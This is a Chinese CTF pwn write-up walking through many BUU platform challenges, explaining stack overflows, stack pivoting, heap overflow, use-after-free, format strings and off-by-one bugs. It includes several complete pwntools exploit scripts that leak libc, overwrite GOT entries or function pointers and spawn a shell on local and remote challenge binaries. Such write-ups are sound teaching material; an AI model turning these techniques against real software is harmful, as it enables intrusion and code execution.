今天你pwn了吗(三)

前言

我们接着前两篇的内容继续往下学习。所有题目都可在BUU平台搜索得到 Ctal+F 然后输入题目名字即可。

同样的,在开始之前我们先来看下几个 函数吧,一定要 好好学下遇到的函数呢,很重要的:

fgets

今天你pwn了吗(三)_第1张图片

memchr

今天你pwn了吗(三)_第2张图片

strcmp

今天你pwn了吗(三)_第3张图片

memcpy():

今天你pwn了吗(三)_第4张图片

ez_pz_hackover_2016 

环境:Ubuntu 16.04

首先查看下文件属性:

今天你pwn了吗(三)_第5张图片

可以看到  是 32位的elf 程序,且 没有开启任何 保护,于是 首先考虑shellcode 的方式去pwn 掉程序。看下ida:(留意下 代码中的 注释)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  header();
  chall();
  return 0;
}
**********************************************************************
int header()                 //header 其实没有什么的。
{
  printf("\n");
  printf("             ___ ____\n");
  printf("      ___ __| _ \\_  /\n");
  printf("     / -_)_ /  _// / \n");
  printf("     \\___/__|_| /___|\n");
  printf("        lemon squeezy\n");
  return printf("\n\n");
}
********************************************************************
void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]


  printf("Yippie, lets crash: %p\n", &s);   //这里可以得到栈地址
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 0x3FF, stdin);                 //向s 处 最多可输入0x3ff字节数据
  v0 = strlen(&s);
  v3 = memchr(&s, '\n', v0);             //判断程序时候有 "\n"
  if ( v3 )
    *v3 = 0;                               //有的话 令它 等于 "\0"
  printf("\nWelcome %s!\n", &s);         
  result = (void *)strcmp(&s, "crashme");  //这里再将 s处的字符串与"crashme"作比较
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);//如果相等,进入vuln()函数
  return result;
}
******************************************************************
void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]


  return memcpy(&dest, &src, n);   //将 以s位置开始0x400的数据都将会拷贝到dest位置
}

所以经过我们的上面的分析(代码中的注释),写出以下exp:

今天你pwn了吗(三)_第6张图片

可以成功拿到shell!

babyfengshui_33c3_2016

这题 是个很好的 堆入门题。我们一起来分析下吧。

首先,我们 来检查下保护:

今天你pwn了吗(三)_第7张图片

首先看下 main函数:

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int v1; // [esp+4h] [ebp-14h]
  size_t v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]


  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      add_8048816(v2);
    }
    if ( v1 == 1 )                              // delete
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      delete_8048905(v2);                       // 没有 UAF
    }
    if ( v1 == 2 )                              // show
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      show_804898F(v2);
    }
    if ( v1 == 3 )                              // update
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      update_8048724(v2);
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( (unsigned __int8)i_804B069 > 0x31u )
    {
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}

后 我们看 各个函数,因为 有前两篇文章的 感觉,关于ida 上的 伪代码我尽量还是用 图片吧,看的会更清晰些。在这之前 我们首先根据程序运行 封装下函数 我将封装的函数 先放上来,有助于理解:

今天你pwn了吗(三)_第8张图片

add_8048816函数:

今天你pwn了吗(三)_第9张图片

在add函数中  我们 可以 知道这个程序 用的结构体 应该是 这个样子:

今天你pwn了吗(三)_第10张图片

我们可以请容易看出  ptr (0x0804B080)相当于 是 保存结构体指针的数组。delete_8048905

今天你pwn了吗(三)_第11张图片

show_804898F

今天你pwn了吗(三)_第12张图片

update_8048724

今天你pwn了吗(三)_第13张图片

我们重点 分析下 这个 update_8048724 函数 就好了。

看第 13 行,程序  是 通过     (new_desc_size + ptr[i]->desc  < (&ptr[i] - 4 ) 检测才可以  继续 update 操作的。正常来看的话,因为 malloc(struct user) 堆块 晚于 malloc(struct user->desc)堆块,且堆块相邻,所以,这个检测 的 本意是在update 每个user结构体中 desc 时,控制了new_desc_size 在于 这两个 堆块之间的距离再-4 的 大小,这样的话,就不存在 堆溢出问题。

但这里我们可根据 堆分配的 理解,我们 可通过 一些操作去使得   malloc(struct user) 堆块 返回的地址与 malloc(struct user->desc)堆块返回的地址 之间的距离 变的很大。这样 我们就可以拥有 比较大的最多可输入 字节 数据,从而 使得程序 有堆溢出漏洞。

而要如何操作呢,我们 可首先 add 两个 结构体 user0,user1,用于  刚刚说的" 一些操作",

今天你pwn了吗(三)_第14张图片

我们 将user0 给 free 掉

今天你pwn了吗(三)_第15张图片

此时 的bins 上  是 有个 272  即 hex(273)  即0x111 即 0x88+0x88+1的unsidned chunk,而如果我们申请 把这个0x111的size chunk 给申请出来 且 全当做 新的 user0->desc的堆块,那么这个堆块返回的地址 就会是 0x9f92000+8 ,而接着 在add 函数中又会申请 0x80的chunk 当作 新的user 的chunk,这个 就会是从 top chunk 申请出 的 chunk 了,两者地址间的 距离相隔 就很大了,没有具体算了,肯定 大于  0x198,而  新的 user0->desc的堆块,那么这个堆块的返回的地址( 0x9f92000+8) 再加0x198的位置就是 user1结构体中的 desc指针了,因为此时已经存在栈溢出了 ,我们 把这个 指针给溢出覆盖成  free_got地址,然后可以通过show 函数来输出 free_got函数,进而leak出 libc,进而得到system 函数地址。

add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free']))   #0
#gdb.attach(p)
show(1)

接着 我们 再通过 update 函数 再将 user1 中的desc(此时对应的指针是 free_got了),中的内容给改成 system,所以 只要我们执行 free("/bin/sh\x00"),就意味着 执行 system("/bin/sh\x00")了,从而pwn掉程序!而再最开始  我们在  add user2 结构体时就已经提前 写入了 "/bin/sh\x00"了,所以 最后我们再 delete(2-1)即  delete(1)就可以拿到 shell了

update(1,0x4, p32(system_addr))
delete(2)

完整 exp如下:

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'


p = process('./babyfengshui_33c3_2016')
#p = remote("node3.buuoj.cn",29957)
elf = ELF('./babyfengshui_33c3_2016')
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")#local


def add(size,name,length,text):
  p.sendlineafter("Action: ","0")
  p.sendlineafter("size of description: ",str(size))
  p.sendlineafter("name: ",name)
  p.sendlineafter("text length: ",str(length))
  p.sendlineafter("text: ",text)


def update(index, length, desc):
  p.sendlineafter("Action: ","3")
  p.sendlineafter("index: ",str(index))
  p.sendlineafter("text length: ",str(length))
  p.sendlineafter("text: ",desc)


def delete(index):
  p.sendlineafter("Action: ","1")
  p.sendlineafter("index: ",str(index))


def show(index):
  p.sendlineafter("Action: ","2")
  p.sendlineafter("index: ",str(index))






add(0x80,"aaa",0x80,"aaa")#0
add(0x80,"bbb",0x80,"bbb")#1
#gdb.attach(p)
add(0x20,"ccc",0x20,"/bin/sh\x00")#2
#gdb.attach(p)
delete(0)
gdb.attach(p)
add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free']))   #0
#gdb.attach(p)
show(1)
p.recvuntil("description: ")


free_addr = u32(p.recvn(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")


#system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
print "system : "+hex(system_addr)


update(1,0x4, p32(system_addr))
delete(2)


p.interactive()

bjdctf_2020_babystack

环境:ubuntu 16.04经过前面两篇文章的讲解,这个实在属于最简单的 栈溢出题了。简单说下 了。ida:

今天你pwn了吗(三)_第16张图片

栈溢出 ,然后还有 后门函数,直接写脚本了。

今天你pwn了吗(三)_第17张图片

[Black Watch 入群题]PWN

今天你pwn了吗(三)_第18张图片

这道题 考察栈迁移的,刚好再次把它给熟悉下。我们 还像 往常一样首先 检查下 程序开启保护:

今天你pwn了吗(三)_第19张图片

32位 elf 程序,开启了 NX保护,于是首先暂时就不必去想 用shellcode了。我们看下ida:

今天你pwn了吗(三)_第20张图片

程序 还是很容易看得懂的,看最后的 read(0, &buf, 0x20u)函数,这里虽然存在栈溢出,但仅可溢出到 ret_Addr,但这程序中是没有 后门函数的,所以我们 首先要做的 其实是 泄露出libc,并且要控制 要 返回到 main地址,因为我们目前才可以得到libc,我们还要接下来的拿shell 操作。

而栈溢出 的长度 不够我们在最后read函数这里去构造泄露libc的rop链, 而栈迁移 是刚好用来解决这个 问题的,我们再开始之前 先来了解下 栈迁移的基本知识,

我们来 看下汇编中 这几个指令的本质:call:

今天你pwn了吗(三)_第21张图片

leave:

今天你pwn了吗(三)_第22张图片

ret:

我们首先构造好 泄露libc且会再次返回到main地址的 rop攻击链:放在 bss 段上   //s的位置

"pop eip 相当于将栈顶数据给了eip,由于ret返回的是esp栈地址中的数据, 而leave将ebp栈地址的值赋给了esp栈地址,所以可以通过覆盖ebp栈地址中的数据来控制ret的返回地址,而两次leave就可以控制esp为我们想要的地址了,不过第二次的pop ebp是多余的,会使esp-4,所以将ebp覆盖到我们构造的函数地址-4即可"

我们这样 覆盖:

今天你pwn了吗(三)_第23张图片

我觉得 这个实在光看文字会 太绕,我gdb 动态给展示下:

今天你pwn了吗(三)_第24张图片

此时的ebp,esp

根据上面 的leave 指令的实质,执行过 leave 后,esp的栈地址变成了ebp再+4的栈地址,ebp的栈地址变成了ebp栈地址中的数据即 执行完leave指令后 期望 应该是

我们 ni 走下:

今天你pwn了吗(三)_第25张图片

和我们预想的一样,而接着 我们在ret_addr 再填一个 leave,执行ret后 会再执行一次 leave,会使得 ebp和esp再经历一次上面一样的变化,

今天你pwn了吗(三)_第26张图片

执行 return 后可以看到 确实又执行到 leave此时:

同样 我们猜测  下再次执行完后 leave 后esp 和ebp的状态:

符合我们的期望!

今天你pwn了吗(三)_第27张图片

接着 就 执行到 我们的 构造的ROP攻击链了。根据以上,我们写出下面exp:

from pwn import *
from LibcSearcher import *


p=remote('node3.buuoj.cn',26843)
#p=process('./spwn')
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300                     #s
leave_ret=0x08048511


pd=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)    #返回到main 使程序重新执行一次,为下步拿shell做准备
p.recvuntil("What is your name?")
p.send(pd)
#gdb.attach(p)
pd2='a'*0x18
pd2+=p32(bss_addr-4)        #ebp
pd2+=p32(leave_ret)          #ret_addr


p.recvuntil("What do you want to say?")
p.send(pd2)


write_addr=u32(p.recv(4))
print "write_addr "+hex(write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
str_bin_sh=libc_base+libc.dump('str_bin_sh')


p.recvuntil("What is your name?")
pd=p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
p.send(pd)


p.recvuntil("What do you want to say?")
p.send(pd2)


p.interactive()

稍微 总结下 ,栈迁移的题,这题的话是一种类型(程序中是有leave;ret;),我们可以在 ret_addr处 填入 leave,ebp处 填入 我们的rop链所在地址,再减4 的地址。即可达到切栈的效果。

[BJDCTF2nd]ydsneedgirlfriend2

这一题 其实也属于  堆上的基础题了。UAF漏洞。最开始分析程序之前 我们检查下 程序开启的相关保护:

今天你pwn了吗(三)_第28张图片

64位 elf 程序,开启NX保护。拖入ida:main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // eax
  _BYTE v4[6]; // [rsp-16h] [rbp-16h]
  unsigned __int64 v5; // [rsp-10h] [rbp-10h]


  v5 = __readfsqword(0x28u);
  myinit();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();                                   //   puts(&byte_400E6F);
                                                //   puts("1.add a girlfriend");
                                                //   puts("2.dele a girlfriend");
                                                //   puts("3.show a girlfriend");
                                                //   puts("4.exit");
                                                //   return puts("u choice :");
      read(0, v4, 6uLL);
      choice = atoi(v4);
      if ( choice != 2 )
        break;
      dele();                                   // UAF
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        show();
      }
      else
      {
        if ( choice == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( choice != 1 )
        goto LABEL_13;
      add();
    }
  }
}

只有3个 程序功能就是:

我们看下 add函数功能:

今天你pwn了吗(三)_第29张图片

我们可以看到 这里有两个 malloc,第一个malloc(0x10)是 申请的 struct girlfriend结构体,

第一个malloc(v2),这里的v2 是我们可控制的size,是申请的 name 的chunk

我们可在add 函数里 推出 这个程序 使用了 下面的结构体

今天你pwn了吗(三)_第30张图片

看下show 功能:

今天你pwn了吗(三)_第31张图片

如果 结构体存在,则 执行struct girlfriends-> print_girlfriend_name函数,我们看些这个函数

今天你pwn了吗(三)_第32张图片

其实就是 个puts 出 struct girlfriends-> name中的数据。我们再看下 delete函数:

今天你pwn了吗(三)_第33张图片

这个程序的洞 其实就是在这了,因为 free 掉chunk后 却没有进行 置零 操作。delete后,我们仍可以可以控制 chunk。而这题 又因为存在后门函数,

今天你pwn了吗(三)_第34张图片

所以我们可以这样 首先 申请 结构体, girlfriends 0,

今天你pwn了吗(三)_第35张图片

然后 我们 delete  girlfriends 0,

今天你pwn了吗(三)_第36张图片

可以发现 bins 链上 有两个  free chunk,且由于 UAF漏洞 delete后 结构体 0的指针仍然存在。

然后 再申请一个 0x10 的的结构体 girlfriends 0因为 结构体 0的指针仍然存在,所以 再add 函数中 就不会 再去首先申请 一个 0x10的结构题去做 新的girlfriends 0 了,而是 直接让我们 输入 size(这里就是0x10了),去申请 name 所在的堆块,我们观察bins 上的chunk,我们首先申请出来的会是 0x246960的堆块,且这个又是  girlfriends 0 结构体,我们只要把这个结构体 的print_girlfriend_name 指针给覆写 成后门函数就可以了,这样当我们执行 show 函数时,就会  调用print_girlfriend_name 时 就实际会 调用 backdoor,从而拿到shell。

今天你pwn了吗(三)_第37张图片

我们可以看到 如我们上面的所述,呈现的结果与我们的期望一执,可以看到 bins上的0x2469350 被申请当作  girlfriends 0中的name 堆块了,同时又是 girlfriends 0结构体本身。我们再接着 show(0)其实就可 pwn 掉程序了。完整exp  如下:

#coding:utf8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./ydsneedgirlfriend2')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18
p = process('./ydsneedgirlfriend2')
#p = remote("node3.buuoj.cn",27625)


def add(size,name):
  p.sendlineafter("u choice :\n",'1')
  p.sendlineafter("Please input the length of her name:\n",str(size))
  p.sendlineafter("Please tell me her name:\n",name)


#def edit(index,content):
# p.sendlineafter("choice: ",'2')
# p.sendlineafter("idx?",str(index))
# p.sendlineafter("content:",content)
# p.recvuntil("Done!\n")
def show(index):
  p.sendlineafter("u choice :\n",'3')
  p.sendlineafter("Index :",str(index))
def delete(index):
  p.sendlineafter("u choice :\n",'2')
  p.sendlineafter("Index :",str(index))


backdoor = 0x400D86


add(0x10,'a'*0x10)
#gdb.attach(p)
delete(0)
#gdb.attach(p)
payload = p64(0) + p64(backdoor)
add(0x10,payload)
#gdb.attach(p)
show(0)


p.interactive()

[BJDCTF 2nd]r2t4

这题  是个64位的elf 程序,动态链接 开启了NX和canary保护。而考察 其实 是 利用了格式化字符任意写,另外 我们要知道的是  当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 __stack_chk_fail 函数。拖入ida:

今天你pwn了吗(三)_第38张图片

过上面代码中的注释可知,栈溢出的方法 不可取, 因为程序开启了Canary 当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 stack_chk_fail 函数。且程序中 含有后门函数。 我们可通过格式化字符串写 将backdoor_addr写入 stack_chk_fail_got 中 脚本如下:

今天你pwn了吗(三)_第39张图片

最后关于 格式化字符串漏洞的学习 大家可以 去i春秋上的 一个 叫教程里(下面的链接)去学习下:

https://bbs.xxxxxx.com/thread-43624-1-1.html

ciscn_2019_es_2

这道题,感觉还是 增加了不少知识。我们 直接分析 ida伪代码吧!

今天你pwn了吗(三)_第40张图片

这里 我们利用的 printf 输出函数 是遇到 "\x00"才会 停止输出的,所以 我们 第一次输入 通过 printf  来 leak 出栈地址。而栈地址之间的偏移 是固定不会变的,我们可计算得到 s所在的栈地址。然后我们在s处构造以下 payload:

今天你pwn了吗(三)_第41张图片

即,在 我们 泄露出的 s所在 地址处  写入 我们的 rop攻击链,然后可根据 (参考上面[Black Watch 入群题]PWN那题  的详细分析) 栈迁移的利用方式,在 ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret,从而 实现 栈迁移 使得程序 执行流 去执行 到  我们构造的  rop 攻击链,拿到 shell。

我写出 以下exp:

from pwn import *
#p=process("./ciscn_2019_es_2")
p=remote("node3.buuoj.cn",29391)
elf=ELF("./ciscn_2019_es_2")


system_plt=elf.plt["system"]
leave_ret=0x08048562


#gdb.attach(p)
pd="a"*(0x28-0x4)                                     #经gdb调试 我们可 在 偏移 ebp-0x28-4的位置存着的数据 是一个栈地址
p.recvuntil("Welcome, my friend. What's your name?\n")# 通过偏移  得到 s_addr 
p.send(pd)


p.recvuntil("a"*(0x28-4))
zhan_addr=u32(p.recv(4))
print "zhan_addr : "+hex(zhan_addr)
s_addr=zhan_addr-(0xff962d44-0xff962c60)
sh_addr=s_addr+0xc


pd2=p32(system_plt)+p32(0xdeadbeef)+p32(sh_addr)+"sh\x00\x00"//我们在 s_addr处 写上 我们的 system_plt地址,s_addr+0xc处写入字符串"sh\x00",将这个地址放在 s_addr+0x8处作为参数
pd2=pd2.ljust(0x28,"a")
pd2+=p32(s_addr-0x4)                             //这个可以看上面的 [Black Watch 入群题]PWN那题的具体分析,ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret
pd2+=p32(leave_ret)
p.send(pd2)


p.interactive()

可以成功拿到shell。

铁人三项(第五赛区)_2018_rop

检查保护:仅开启了  NX 保护,暂时 不考虑 shellcode

今天你pwn了吗(三)_第42张图片

ida:

今天你pwn了吗(三)_第43张图片

无 system 函数,栈溢出。可通过 write 函数泄露 真实函数地址 进而得到 ssytem和bin/sh字符串 地址 通过 再一次 栈溢出 拿到shell。

exp:

#coding:utf8
#ubuntu:18.04
#Author:yangmutou


from pwn import *
context.log_level="debug"
p=process("./2018_rop")
p=remote("node3.buuoj.cn",28871)
elf=ELF("./2018_rop")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x80484c6


print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt)    # write(fd,addr,len)
pd+=p32(0x80484c6)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)


p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)


libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr)    # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()

本地 可打通,但远程报错了。

今天你pwn了吗(三)_第44张图片

猜测 远程 libc和本地的libc 版本 不一致。我们用 libcsear 工具 即可。改写如下:

#coding:utf8


from pwn import *
from LibcSearcher import *
context.log_level="debug"
p=process("./2018_rop")
p=remote("node3.buuoj.cn",28871)
elf=ELF("./2018_rop")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x80484c6


print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt)    # write(fd,addr,len)
pd+=p32(0x80484c6)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)


p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)


#remote
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")


#local
'''
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
'''


print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr)    # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()

jarvisoj_level3

检查保护:

今天你pwn了吗(三)_第45张图片

ida:

今天你pwn了吗(三)_第46张图片

这题和上面的几乎 一摸一样.改改上面的  exp 即可。

#coding:utf8
#ubuntu:18.04
#Author:yangmutou


from pwn import *
from LibcSearcher import *
context.log_level="debug"
p=process("./level3")
p=remote("node3.buuoj.cn",27781)
elf=ELF("./level3")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x08048484


print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt)    # write(fd,addr,len)
pd+=p32(main)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)




p.recvuntil("Input:\n")
p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)


#remote
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")


#local
'''
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
'''


print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)


pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr)    # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()

xman_2019_format

检查保护:仅 开启了 NX 保护。

今天你pwn了吗(三)_第47张图片

ida:

int __cdecl main()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  sub_804869D();
  return 0;
}
**********************************
char *sub_804869D()
{
  puts("...");
  return sub_8048651();
}
*********************************
char *sub_8048651()
{
  void *buf; // ST1C_4


  puts("...");
  buf = malloc(0x100u);
  read(0, buf, 0x37u);              //我们的输入 在 堆上
  return sub_804862A((char *)buf);
}
***********************************
char *__cdecl sub_804862A(char *s)
{
  puts("...");
  return sub_80485C4(s);
}
*************************************
char *__cdecl sub_80485C4(char *s)
{
  char *v1; // eax
  char *result; // eax


  puts("...");
  v1 = strtok(s, "|");
  printf(v1);                                   // 格式化字符串
  while ( 1 )
  {
    result = strtok(0, "|");
    if ( !result )
      break;
    printf(result);
  }
  return result;
}

发现多次调用函数。然后是格式化字符串 漏洞 ,且我们的输入不在 栈上,另外这题还有个 比较麻烦的 东西,就是我们没办法 泄露 栈地址。不过 我们可以猜测。

1/16分之1 的成功率。参考了 这个链接:

另外这道 要了解下  strtok 函数。见下面链接。

exp:

今天你pwn了吗(三)_第48张图片

今天你pwn了吗(三)_第49张图片

[BJDCTF 2nd]test

容器环境:

今天你pwn了吗(三)_第50张图片

做的第一个  ssh 的题目啊,

前一段时间  因为 没接触过这题 该怎样连接,这次 终于 算可以 作下了。链接:

然后出现这个样子:输入 yes 即可。

今天你pwn了吗(三)_第51张图片

看题目的意思我们没有权限查看 flag,然后可以运行程序,可以看源码。

我们首先看下源码:

ctf@3c8e49c2b3b6:~$ cat test.c 
#include 
#include 
#include 


int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

可以看出 程序 过滤了  这些  字符

我们 用这个命令看下 我们还可以 输入  什么 命令。

发现:

今天你pwn了吗(三)_第52张图片

然后输入  x86_64 然后 在  cat flag  即可 拿到shell。 

bjdctf_2020_babyrop

检查保护:64位 elf 程序 仅开启 了 NX 保护。

今天你pwn了吗(三)_第53张图片

ida:

今天你pwn了吗(三)_第54张图片

和上面 的栈溢处 没什么 不同直接上 exp了:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29993)
#p=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
pop_rdi=0x0000000000400733




pd='a'*0x20+p64(0xdeadbeef)
pd+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil('Pull up your sword and tell me u story!\n')
p.sendline(pd)


puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')


pd='a'*0x20+p64(0xdeadbeef)
pd+=p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.recvuntil('Pull up your sword and tell me u story!')
p.sendline(pd)


p.interactive()

others_shellcode

检查保护:

今天你pwn了吗(三)_第55张图片

这个 是汇编 我们执行 下面 命令  直接看 源码:

看main函数,发现直接 调用 后门函数了,直接nc 就可拿到flag。

今天你pwn了吗(三)_第56张图片

jarvisoj_fm

检查保护:32位elf 程序 开启NX和canary保护, got可改。

今天你pwn了吗(三)_第57张图片

ida:

今天你pwn了吗(三)_第58张图片

exp:找到偏移 然后 把 x 内容 改为 4 即可。

今天你pwn了吗(三)_第59张图片

jarvisoj_tell_me_something

ida:

今天你pwn了吗(三)_第60张图片

额,栈溢出  且有后门函数:

直接 exp:

今天你pwn了吗(三)_第61张图片

jarvisoj_level3_x64

检查保护

今天你pwn了吗(三)_第62张图片

ida:

今天你pwn了吗(三)_第63张图片

额额  都是这类的题。栈溢出  泄露libc 返回到vuln 函数,再次运行  拿到shell。

今天你pwn了吗(三)_第64张图片

今天你pwn了吗(三)_第65张图片

jarvisoj_level4

检查保护:32位elf 程序仅开启了 NX保护。

今天你pwn了吗(三)_第66张图片

ida:

今天你pwn了吗(三)_第67张图片

直接exp:网上搜索 都是 用的pwntools的 dyn 搜索, 感觉 没 libcsearch 方便。

今天你pwn了吗(三)_第68张图片

今天你pwn了吗(三)_第69张图片

roarctf_2019_easy_pwn

检查保护:64位elf 程序,保护全开。

今天你pwn了吗(三)_第70张图片

拖入ida:可以得知 这是一个  经典菜单型的堆题。

今天你pwn了吗(三)_第71张图片

今天你pwn了吗(三)_第72张图片

程序功能有四个。

add:

今天你pwn了吗(三)_第73张图片

今天你pwn了吗(三)_第74张图片

在add函数中 可以知道里使用了结构体,并且做多可申请 16个结构体。

今天你pwn了吗(三)_第75张图片

edit 函数:

今天你pwn了吗(三)_第76张图片

漏洞点在 sub_E26函数:如果我们输入的 size 比 原本的size 大 10,则 new_size=old_size+1,off by one 漏洞。

今天你pwn了吗(三)_第77张图片

delete函数:无 UAF漏洞

今天你pwn了吗(三)_第78张图片

show:这个函数 看着 有些复杂,其实就是 输出 每个结构体中的 chunk_mem_addr指向的内容。

今天你pwn了吗(三)_第79张图片

首先根据上面封装函数:

今天你pwn了吗(三)_第80张图片

因为存在 off by one漏洞,很简单 的堆题了,这题 主要是 将 __malloc_hook 处 写入所有的onegadget 都无法 拿到shell。原因是 每个 onegadget在执行的时候 都不能满足所需条件,所以 我们需要借助 realloc 来 微调 栈环境。off by one 利用手法 具体可在这个链接学下:

https://blog.csdn.net/Breeze_CAT/article/details/103788698

首先 leak libc_base及相关函数地址:

今天你pwn了吗(三)_第81张图片

今天你pwn了吗(三)_第82张图片

然后 首先这个样子:

今天你pwn了吗(三)_第83张图片

在 malloc_hook中写入 onegadget,执行到  call   execve时,我们看看此时 栈环境满不满足 onegadget[1]的执行成功条件。

今天你pwn了吗(三)_第84张图片

显然并没有满足。但是  $rsp-0x8处可以是 0

如果 我们把  $rsp-0x8 给当成  $rsp+0x30 即可 满足成功执行条件。

于是我们需要将  rsp 给向上 抬高   (0x30+0x8) 即可。

今天你pwn了吗(三)_第85张图片

